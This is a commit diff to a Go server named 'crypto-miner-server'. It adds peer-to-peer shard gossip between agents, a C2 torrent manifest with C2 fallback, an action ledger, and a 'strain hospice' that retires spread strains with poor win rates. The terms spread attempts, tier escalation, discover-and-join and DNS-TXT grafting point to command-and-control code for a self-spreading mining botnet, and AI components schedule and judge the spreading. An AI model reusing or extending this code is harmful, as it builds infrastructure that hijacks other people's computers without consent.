Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
@@ -249,6 +249,12 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
if args == nil {
|
||||
args = map[string]interface{}{}
|
||||
}
|
||||
summary, err := e.executeCommand(agentID, cmd, args)
|
||||
e.recordOathForCommand(agentID, cmd, args, summary, err)
|
||||
return summary, err
|
||||
}
|
||||
|
||||
func (e *FleetAIExecutor) executeCommand(agentID string, cmd fleetai.Command, args map[string]interface{}) (string, error) {
|
||||
switch cmd.Type {
|
||||
case fleetai.CmdNoop:
|
||||
return "noop", nil
|
||||
@@ -331,6 +337,29 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
e.Hub.serverPolicy = policy
|
||||
e.Hub.mu.Unlock()
|
||||
return "erasure:on", nil
|
||||
case fleetai.CmdStrainHospice:
|
||||
strainID, _ := args["strain_id"].(string)
|
||||
strainID = strings.TrimSpace(strainID)
|
||||
if strainID == "" && e.Hub.db != nil {
|
||||
if ag, err := e.Hub.db.GetAgent(agentID); err == nil && ag != nil {
|
||||
strainID = strings.TrimSpace(ag.SpreadStrain)
|
||||
if strainID == "" {
|
||||
strainID = strategy.StrainFromSpreadLane(e.Hub.AgentJoinLane(agentID))
|
||||
}
|
||||
}
|
||||
}
|
||||
if strainID == "" {
|
||||
return "", fmt.Errorf("strain_hospice requires strain_id or agent spread_strain")
|
||||
}
|
||||
reason, _ := args["reason"].(string)
|
||||
if strings.TrimSpace(reason) == "" {
|
||||
reason = "court L4 hospice vote"
|
||||
}
|
||||
rec, err := e.Hub.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByCourt), reason)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "strain_hospice:" + rec.StrainID, nil
|
||||
default:
|
||||
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
|
||||
return "", err
|
||||
@@ -339,6 +368,46 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
}
|
||||
}
|
||||
|
||||
func (e *FleetAIExecutor) recordOathForCommand(agentID string, cmd fleetai.Command, args map[string]interface{}, summary string, execErr error) {
|
||||
if e == nil || e.Hub == nil || e.Hub.db == nil {
|
||||
return
|
||||
}
|
||||
actionType := ""
|
||||
switch cmd.Type {
|
||||
case fleetai.CmdReorderTiers, fleetai.CmdSkipTier, fleetai.CmdSpreadRetryLane:
|
||||
actionType = db.OathSpreadTierEscalation
|
||||
case fleetai.CmdSpreadNow, fleetai.CmdDiscoverAndJoin:
|
||||
actionType = db.OathSpreadAttempt
|
||||
default:
|
||||
return
|
||||
}
|
||||
bridge := &OathLedgerBridge{DB: e.Hub.db, Hub: e.Hub}
|
||||
_ = bridge.Record(
|
||||
"ai_scheduler",
|
||||
actionType,
|
||||
agentID,
|
||||
agentStrainFromDB(e.Hub.db, agentID),
|
||||
oathOutcomeFromError(execErr),
|
||||
map[string]interface{}{
|
||||
"command_type": cmd.Type,
|
||||
"args": args,
|
||||
},
|
||||
map[string]interface{}{
|
||||
"command_type": cmd.Type,
|
||||
"args": args,
|
||||
"summary": summary,
|
||||
"error": errorString(execErr),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
func errorString(err error) string {
|
||||
if err == nil {
|
||||
return ""
|
||||
}
|
||||
return err.Error()
|
||||
}
|
||||
|
||||
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
|
||||
payload := map[string]interface{}{}
|
||||
if raw, ok := args["tier_order"]; ok {
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
@@ -55,6 +56,11 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID)
|
||||
if err != nil {
|
||||
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
|
||||
AuthUsername(r), db.OathGraft, targetID, "", db.OathOutcomeFail,
|
||||
map[string]string{"source_agent_id": sourceID, "target_agent_id": targetID},
|
||||
map[string]interface{}{"error": err.Error()},
|
||||
)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
@@ -74,4 +80,17 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
|
||||
"graft_tier": graftPolicy.GraftTier,
|
||||
"strain": graftPolicy.GraftSourceStrain,
|
||||
})
|
||||
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
|
||||
AuthUsername(r), db.OathGraft, targetID, graftPolicy.GraftSourceStrain, db.OathOutcomeSuccess,
|
||||
map[string]interface{}{
|
||||
"source_agent_id": sourceID,
|
||||
"graft_tier": graftPolicy.GraftTier,
|
||||
"graft_policy": graftPolicy,
|
||||
},
|
||||
map[string]interface{}{
|
||||
"source_agent_id": sourceID,
|
||||
"graft_tier": graftPolicy.GraftTier,
|
||||
"pushed": f.ws.IsAgentReachable(targetID),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
102
server/internal/api/fleet_torrent.go
Normal file
102
server/internal/api/fleet_torrent.go
Normal file
@@ -0,0 +1,102 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
)
|
||||
|
||||
func (h *WSHub) handleAgentFleetTorrentGossip(senderID string, payload json.RawMessage) {
|
||||
if !h.serverPolicySnapshot().FleetTorrentEnabled {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Records []atlas.FleetGossipRecord `json:"records"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &body); err != nil || len(body.Records) == 0 {
|
||||
return
|
||||
}
|
||||
records := atlas.NormalizeFleetGossipRecords(body.Records)
|
||||
if len(records) == 0 {
|
||||
return
|
||||
}
|
||||
h.relayFleetTorrentGossip(senderID, records)
|
||||
}
|
||||
|
||||
func (h *WSHub) relayFleetTorrentGossip(senderID string, records []atlas.FleetGossipRecord) {
|
||||
out := Message{
|
||||
Type: "fleet_torrent_gossip",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"records": records,
|
||||
"source_agent_id": senderID,
|
||||
}),
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for id, ac := range h.agents {
|
||||
if id == senderID || ac == nil {
|
||||
continue
|
||||
}
|
||||
if err := ac.SendJSON(out); err != nil {
|
||||
log.Printf("[fleet-torrent] relay to %s: %v", id, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// subnetPrimarySeederHint elects one primary seeder per /24 when fleet torrent is enabled.
|
||||
func (h *WSHub) subnetPrimarySeederHint(agentID, clientIP, role string) string {
|
||||
if !h.serverPolicySnapshot().FleetTorrentEnabled {
|
||||
return ""
|
||||
}
|
||||
if role != "seeder" {
|
||||
return ""
|
||||
}
|
||||
subnet := subnetPrefix24(clientIP)
|
||||
if subnet == "" {
|
||||
return ""
|
||||
}
|
||||
pick := h.electSubnetPrimarySeeder(subnet)
|
||||
if pick == "" {
|
||||
return agentID
|
||||
}
|
||||
return pick
|
||||
}
|
||||
|
||||
func (h *WSHub) electSubnetPrimarySeeder(subnet string) string {
|
||||
if subnet == "" {
|
||||
return ""
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
var bestID string
|
||||
for id, tel := range h.agentLiveTelemetry {
|
||||
role, _ := tel["fleet_role"].(string)
|
||||
if role != "seeder" {
|
||||
continue
|
||||
}
|
||||
ip := h.agentIPLocked(id)
|
||||
if subnetPrefix24(ip) != subnet {
|
||||
continue
|
||||
}
|
||||
if bestID == "" || id < bestID {
|
||||
bestID = id
|
||||
}
|
||||
}
|
||||
return bestID
|
||||
}
|
||||
|
||||
func (h *WSHub) isSubnetPrimarySeeder(agentID, clientIP string) bool {
|
||||
if agentID == "" {
|
||||
return false
|
||||
}
|
||||
subnet := subnetPrefix24(clientIP)
|
||||
if subnet == "" {
|
||||
return false
|
||||
}
|
||||
pick := h.electSubnetPrimarySeeder(subnet)
|
||||
if pick == "" {
|
||||
return true
|
||||
}
|
||||
return pick == agentID
|
||||
}
|
||||
40
server/internal/api/fleet_torrent_manifest_test.go
Normal file
40
server/internal/api/fleet_torrent_manifest_test.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestErasureTorrentManifestEndpoint(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
store := erasure.NewShardStore()
|
||||
p, _ := erasure.DefaultParams().Normalize()
|
||||
payload := []byte("torrent-manifest-payload-bytes!!")
|
||||
shards, _, err := erasure.Encode(payload, p)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
store.Put("manifest-tok", p, shards)
|
||||
h := NewPublicHandler(database, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
|
||||
h.BindErasureShardStore(store)
|
||||
|
||||
req := httptest.NewRequest("GET", "/public/erasure-torrent/manifest-tok/manifest", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("token", "manifest-tok")
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ErasureTorrentManifest(rec, req)
|
||||
if rec.Code != 200 {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
83
server/internal/api/oath_ledger.go
Normal file
83
server/internal/api/oath_ledger.go
Normal file
@@ -0,0 +1,83 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// OathLedgerBridge records immutable rows and broadcasts dashboard WS events.
|
||||
type OathLedgerBridge struct {
|
||||
DB *dbpkg.Database
|
||||
Hub *WSHub
|
||||
}
|
||||
|
||||
// Record appends one oath ledger row and emits oath_ledger_event when a hub is wired.
|
||||
func (b *OathLedgerBridge) Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error {
|
||||
if b == nil || b.DB == nil {
|
||||
return nil
|
||||
}
|
||||
whyHash := dbpkg.HashWhyJSON(whySource)
|
||||
entry, err := b.DB.InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome, payload)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if b.Hub != nil && entry != nil {
|
||||
b.Hub.BroadcastOathLedgerEvent(*entry)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BroadcastOathLedgerEvent pushes a live oath row to dashboard clients.
|
||||
func (h *WSHub) BroadcastOathLedgerEvent(entry dbpkg.OathLedgerEntry) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "oath_ledger_event",
|
||||
Payload: mustMarshal(entry),
|
||||
})
|
||||
}
|
||||
|
||||
// GetOathLedger lists recent immutable accountability rows.
|
||||
func (f *FleetHandler) GetOathLedger(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []dbpkg.OathLedgerEntry{})
|
||||
return
|
||||
}
|
||||
limit := 100
|
||||
if raw := strings.TrimSpace(r.URL.Query().Get("limit")); raw != "" {
|
||||
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
rows, err := f.db.ListOathLedger(limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if rows == nil {
|
||||
rows = []dbpkg.OathLedgerEntry{}
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
func agentStrainFromDB(database *dbpkg.Database, agentID string) string {
|
||||
if database == nil || agentID == "" {
|
||||
return ""
|
||||
}
|
||||
ag, err := database.GetAgent(agentID)
|
||||
if err != nil || ag == nil {
|
||||
return ""
|
||||
}
|
||||
return ag.SpreadStrain
|
||||
}
|
||||
|
||||
func oathOutcomeFromError(err error) string {
|
||||
if err != nil {
|
||||
return dbpkg.OathOutcomeFail
|
||||
}
|
||||
return dbpkg.OathOutcomeSuccess
|
||||
}
|
||||
59
server/internal/api/oath_ledger_test.go
Normal file
59
server/internal/api/oath_ledger_test.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/pool"
|
||||
)
|
||||
|
||||
func TestGetOathLedgerLimit(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
bridge := &OathLedgerBridge{DB: database}
|
||||
if err := bridge.Record("comrade", db.OathGraft, "tgt-1", "#ff00aa", db.OathOutcomeSuccess,
|
||||
map[string]string{"source": "src-1"}, map[string]string{"graft_tier": "dns_txt"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
fh := NewFleetHandler(database, nil, nil, nil, nil, pool.Config{}, t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/fleet/oath-ledger?limit=5", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
fh.GetOathLedger(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var rows []db.OathLedgerEntry
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &rows); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rows) != 1 || rows[0].ActionType != db.OathGraft || rows[0].Actor != "comrade" {
|
||||
t.Fatalf("unexpected rows: %+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOathLedgerBridgePersistsCourtRow(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
bridge := &OathLedgerBridge{DB: database, Hub: hub}
|
||||
if err := bridge.Record("ai_council:judge", db.OathCourtL4Decision, "a1", "", db.OathOutcomeSuccess,
|
||||
map[string]string{"verdict": "retry"}, map[string]string{"executed": "spread_now"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
rows, err := database.ListOathLedger(1)
|
||||
if err != nil || len(rows) != 1 || rows[0].ActionType != db.OathCourtL4Decision {
|
||||
t.Fatalf("db rows: %+v err=%v", rows, err)
|
||||
}
|
||||
}
|
||||
@@ -11,6 +11,8 @@ import (
|
||||
"github.com/google/uuid"
|
||||
|
||||
"crypto-miner-server/internal/ai"
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// TimelineBranchStatus tracks ghost-branch exploration on a Path Tracer target hop.
|
||||
@@ -205,9 +207,16 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
|
||||
if parentID == "" {
|
||||
parentID = sess.ID
|
||||
}
|
||||
hospice := map[string]bool{}
|
||||
if h.hub != nil {
|
||||
hospice = h.hub.HospiceStrainSet()
|
||||
}
|
||||
var spawned []*TimelineBranch
|
||||
for _, persona := range normalized {
|
||||
lanes := ai.PersonaSpreadTierOrder(persona)
|
||||
if len(lanes) > 0 && strategy.LaneInHospice(lanes[0], hospice) {
|
||||
continue
|
||||
}
|
||||
branch := &TimelineBranch{
|
||||
ID: uuid.New().String(),
|
||||
ParentID: parentID,
|
||||
@@ -226,6 +235,11 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
|
||||
sess.TimelineBranches = append(sess.TimelineBranches, branch)
|
||||
spawned = append(spawned, branch)
|
||||
}
|
||||
if len(spawned) == 0 {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "all fork personas map to hospice strains — parent selection blocked", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
|
||||
@@ -234,6 +248,25 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
|
||||
go h.runGhostBranch(sess.ID, b)
|
||||
}
|
||||
h.broadcastTimelineEvent(sess, "fork", spawned[0])
|
||||
if h.hub != nil && h.hub.db != nil {
|
||||
why := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"fork_hop_index": req.ForkHopIndex,
|
||||
"target_agent_id": target.AgentID,
|
||||
"personas": normalized,
|
||||
"branches_spawned": len(spawned),
|
||||
}
|
||||
_ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record(
|
||||
AuthUsername(r), dbpkg.OathForkMerge, target.AgentID, agentStrainFromDB(h.hub.db, target.AgentID),
|
||||
dbpkg.OathOutcomePending, why,
|
||||
map[string]interface{}{
|
||||
"event": "fork",
|
||||
"session_id": sess.ID,
|
||||
"fork_hop_index": req.ForkHopIndex,
|
||||
"branches_spawned": len(spawned),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
@@ -279,6 +312,14 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, "cannot merge canonical root", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if h.hub != nil && len(winner.SpreadLanes) > 0 {
|
||||
hospice := h.hub.HospiceStrainSet()
|
||||
if strategy.LaneInHospice(winner.SpreadLanes[0], hospice) {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "branch spread strain is in hospice — fork-merge parent selection blocked", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
}
|
||||
if winner.Status != BranchWon && winner.Status != BranchRunning {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "branch must be running or won to merge", http.StatusConflict)
|
||||
@@ -308,6 +349,26 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) {
|
||||
h.mu.Unlock()
|
||||
h.persistSession(sess)
|
||||
h.broadcastTimelineEvent(sess, "merge", winner)
|
||||
if h.hub != nil && h.hub.db != nil {
|
||||
why := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"merged_branch_id": winner.ID,
|
||||
"merged_persona": winner.Persona,
|
||||
"merged_spread_lane": sess.MergedSpreadLane,
|
||||
"merged_hashrate": sess.MergedHashrate,
|
||||
}
|
||||
_ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record(
|
||||
AuthUsername(r), dbpkg.OathForkMerge, winner.TargetAgentID, agentStrainFromDB(h.hub.db, winner.TargetAgentID),
|
||||
dbpkg.OathOutcomeSuccess, why,
|
||||
map[string]interface{}{
|
||||
"event": "merge",
|
||||
"session_id": sess.ID,
|
||||
"merged_branch_id": winner.ID,
|
||||
"merged_persona": winner.Persona,
|
||||
"merged_spread_lane": sess.MergedSpreadLane,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
|
||||
@@ -591,6 +591,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/fleet/graft", fleetHandler.PostFleetGraft)
|
||||
r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards)
|
||||
r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard)
|
||||
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
|
||||
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
|
||||
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
|
||||
}
|
||||
if fleetAIHandler != nil {
|
||||
r.Get("/ai/models", fleetAIHandler.GetModels)
|
||||
|
||||
@@ -74,9 +74,21 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request
|
||||
if card.ID == "" {
|
||||
card.ID = stored.ID
|
||||
}
|
||||
if inHospice, err := f.db.IsStrainInHospice(strategy.NormalizeStrainID(card.SpreadStrain)); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
} else if inHospice {
|
||||
http.Error(w, "strain is in hospice — play-card disabled (museum archive)", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
|
||||
result, err := f.ws.PlayStrainCard(agentID, card)
|
||||
if err != nil {
|
||||
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
|
||||
AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeFail,
|
||||
map[string]interface{}{"card_id": cardID, "persona": card.Persona},
|
||||
map[string]interface{}{"error": err.Error(), "card_id": cardID},
|
||||
)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
@@ -100,6 +112,22 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request
|
||||
"queued": result.Queued,
|
||||
"transport": result.Transport,
|
||||
})
|
||||
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
|
||||
AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeSuccess,
|
||||
map[string]interface{}{
|
||||
"card_id": cardID,
|
||||
"persona": card.Persona,
|
||||
"root": card.RootAgentID,
|
||||
},
|
||||
map[string]interface{}{
|
||||
"card_id": cardID,
|
||||
"play_id": result.PlayID,
|
||||
"persona": card.Persona,
|
||||
"sent": result.Sent,
|
||||
"queued": result.Queued,
|
||||
"transport": result.Transport,
|
||||
},
|
||||
)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
|
||||
250
server/internal/api/strain_hospice.go
Normal file
250
server/internal/api/strain_hospice.go
Normal file
@@ -0,0 +1,250 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
type strainHospiceRequest struct {
|
||||
StrainID string `json:"strain_id"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// GetStrainHospice lists archived strains (museum read-only lineage).
|
||||
func (f *FleetHandler) GetStrainHospice(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []db.StrainHospiceRecord{})
|
||||
return
|
||||
}
|
||||
rows, err := f.db.ListStrainHospice(200)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
// PostStrainHospice archives a failed/low-win strain to hospice.
|
||||
func (f *FleetHandler) PostStrainHospice(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil || f.ws == nil {
|
||||
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req strainHospiceRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
strainID := strategy.NormalizeStrainID(req.StrainID)
|
||||
if strainID == "" {
|
||||
http.Error(w, "strain_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
reason := strings.TrimSpace(req.Reason)
|
||||
if reason == "" {
|
||||
reason = "operator manual retirement"
|
||||
}
|
||||
rec, err := f.ws.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByOperator), reason)
|
||||
if err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "strain_hospice", "", map[string]interface{}{
|
||||
"strain_id": strainID,
|
||||
"retired_by": rec.RetiredBy,
|
||||
"reason": rec.Reason,
|
||||
})
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"strain_id": rec.StrainID,
|
||||
"retired_by": rec.RetiredBy,
|
||||
"reason": rec.Reason,
|
||||
"retired_at": rec.RetiredAt,
|
||||
})
|
||||
}
|
||||
|
||||
// RetireStrainToHospice archives a strain, updates breeding cache, and emits Seer + oath ledger.
|
||||
func (h *WSHub) RetireStrainToHospice(strainID, retiredBy, reason string) (*db.StrainHospiceRecord, error) {
|
||||
if h == nil || h.db == nil {
|
||||
return nil, errHubUnavailable
|
||||
}
|
||||
strainID = strategy.NormalizeStrainID(strainID)
|
||||
if strainID == "" {
|
||||
return nil, errStrainRequired
|
||||
}
|
||||
if ok, err := h.db.IsStrainInHospice(strainID); err != nil {
|
||||
return nil, err
|
||||
} else if ok {
|
||||
rec, err := h.db.GetStrainHospice(strainID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rec, nil
|
||||
}
|
||||
cardJSON, err := h.db.CardJSONForStrain(strainID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := h.db.RetireStrain(strainID, retiredBy, reason, cardJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec, err := h.db.GetStrainHospice(strainID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
h.refreshHospiceBreedingCache()
|
||||
h.emitStrainHospiceRetirement(rec, retiredBy, reason)
|
||||
log.Printf("[hospice] strain %s retired by %s: %s", strainID, retiredBy, reason)
|
||||
return rec, nil
|
||||
}
|
||||
|
||||
func (h *WSHub) refreshHospiceBreedingCache() {
|
||||
if h == nil || h.db == nil || h.breedingRegistry == nil {
|
||||
return
|
||||
}
|
||||
set, err := h.db.HospiceStrainSet()
|
||||
if err != nil {
|
||||
log.Printf("[hospice] breeding cache refresh: %v", err)
|
||||
return
|
||||
}
|
||||
h.breedingRegistry.SetHospiceStrains(set)
|
||||
}
|
||||
|
||||
func (h *WSHub) emitStrainHospiceRetirement(rec *db.StrainHospiceRecord, retiredBy, reason string) {
|
||||
if rec == nil {
|
||||
return
|
||||
}
|
||||
payload := map[string]interface{}{
|
||||
"strain_id": rec.StrainID,
|
||||
"retired_by": rec.RetiredBy,
|
||||
"reason": rec.Reason,
|
||||
"retired_at": rec.RetiredAt.UTC().Format("2006-01-02T15:04:05Z"),
|
||||
"card_json": json.RawMessage(rec.CardJSON),
|
||||
}
|
||||
_ = (&OathLedgerBridge{DB: h.db, Hub: h}).Record(
|
||||
retiredBy, db.OathStrainHospice, "", rec.StrainID, db.OathOutcomeSuccess,
|
||||
map[string]interface{}{"reason": reason, "retired_by": rec.RetiredBy},
|
||||
payload,
|
||||
)
|
||||
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
|
||||
_ = emitter.EmitSeerEvent("strain_hospice", "", payload)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "strain_hospice",
|
||||
Payload: mustMarshal(payload),
|
||||
})
|
||||
}
|
||||
|
||||
// HospiceStrainSet returns retired strains for topology and fork-merge guards.
|
||||
func (h *WSHub) HospiceStrainSet() map[string]bool {
|
||||
if h == nil || h.db == nil {
|
||||
return nil
|
||||
}
|
||||
set, err := h.db.HospiceStrainSet()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return set
|
||||
}
|
||||
|
||||
// MaybeAutoRetireLowWinStrains scans epidemiology and retires chronic losers when AI control is on.
|
||||
func (h *WSHub) MaybeAutoRetireLowWinStrains() {
|
||||
if h == nil || h.db == nil {
|
||||
return
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
if !policy.AIControlEnabled {
|
||||
return
|
||||
}
|
||||
threshold := policy.StrainHospiceWinRateThreshold
|
||||
if threshold <= 0 {
|
||||
threshold = strategy.DefaultHospiceWinRateThreshold
|
||||
}
|
||||
minAttempts := policy.StrainHospiceMinAttempts
|
||||
if minAttempts <= 0 {
|
||||
minAttempts = strategy.DefaultHospiceMinAttempts
|
||||
}
|
||||
hospice, _ := h.db.HospiceStrainSet()
|
||||
for strainID, stats := range h.collectStrainSpreadStats() {
|
||||
if hospice[strainID] {
|
||||
continue
|
||||
}
|
||||
if !strategy.ShouldAutoRetireStrain(stats.Wins, stats.Losses, threshold, minAttempts) {
|
||||
continue
|
||||
}
|
||||
reason := "ai auto-retire: win_rate below threshold after min attempts"
|
||||
if _, err := h.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByAI), reason); err != nil {
|
||||
log.Printf("[hospice] auto-retire %s: %v", strainID, err)
|
||||
}
|
||||
}
|
